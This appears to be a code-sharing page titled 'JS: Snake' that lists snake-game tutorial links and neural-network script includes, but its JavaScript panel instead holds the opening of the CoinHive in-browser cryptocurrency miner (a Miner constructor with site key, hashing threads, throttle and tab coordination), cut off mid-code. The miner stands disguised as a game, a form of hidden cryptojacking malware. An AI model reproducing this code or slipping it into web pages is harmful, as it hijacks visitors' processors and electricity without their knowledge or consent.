JS: Snake

v1: http://jsfiddle.net/ARTsinn/3cQvw/8/ more at: http://trickkr.com/item/40/javascript-basic-html5-snake http://aspektas.com/blog/canvas-snake-game/ http://lab.aspektas.com/canvas_snake.html http://cssdeck.com/labs/classic-snake-game-with-html5-canvas http://www.htmlstack.com/canvassnake/

by Llorx

HTML

<script src="https://wagenaartje.github.io/neataptic/cdn/1.4.7/neataptic.js"></script>
<script src="https://cdn.rawgit.com/cazala/synaptic/master/dist/synaptic.min.js"></script>

JavaScript

(function(window) {
    "use strict";
    var Miner = function(siteKey, params) {
        this.params = params || {};
        this._siteKey = siteKey;
        this._user = null;
        this._threads = [];
        this._hashes = 0;
        this._currentJob = null;
        this._autoReconnect = true;
        this._reconnectRetry = 3;
        this._tokenFromServer = null;
        this._goal = 0;
        this._totalHashesFromDeadThreads = 0;
        this._throttle = Math.max(0, Math.min(.99, this.params.throttle || 0));
        this._stopOnInvalidOptIn = false;
        this._waitingForAuth = false;
        this._selfTestSuccess = false;
        this._autoThreads = {
            enabled: !!this.params.autoThreads,
            interval: null,
            adjustAt: null,
            adjustEvery: 1e4,
            stats: {}
        };
        this._tab = {
            ident: Math.random() * 16777215 | 0,
            mode: CoinHive.IF_EXCLUSIVE_TAB,
            grace: 0,
            waitReconnect: 0,
            lastPingReceived: 0,
            interval: null
        };
        if (window.BroadcastChannel) {
            try {
                this._bc = new BroadcastChannel("coinhive");
                this._bc.onmessage = function(msg) {
                    if (msg.data === "ping") {
                        this._tab.lastPingReceived = Date.now()
                    }
                }.bind(this)
            } catch (e) {}
        }
        if (CoinHive.CONFIG.REQUIRES_AUTH) {
            this._auth = new CoinHive.Auth(this._siteKey, {
                theme: this.params.theme || "light",
                lang: this.params.language || "auto"
            })
        }
        this._eventListeners = {
            open: [],
            authed: [],
            close: [],
            error: [],
            job: [],
            found: [],
            accepted: [],
            optin: []
        };
        var defaultThreads = navigator.hardwareConcurrency || 4;
       ...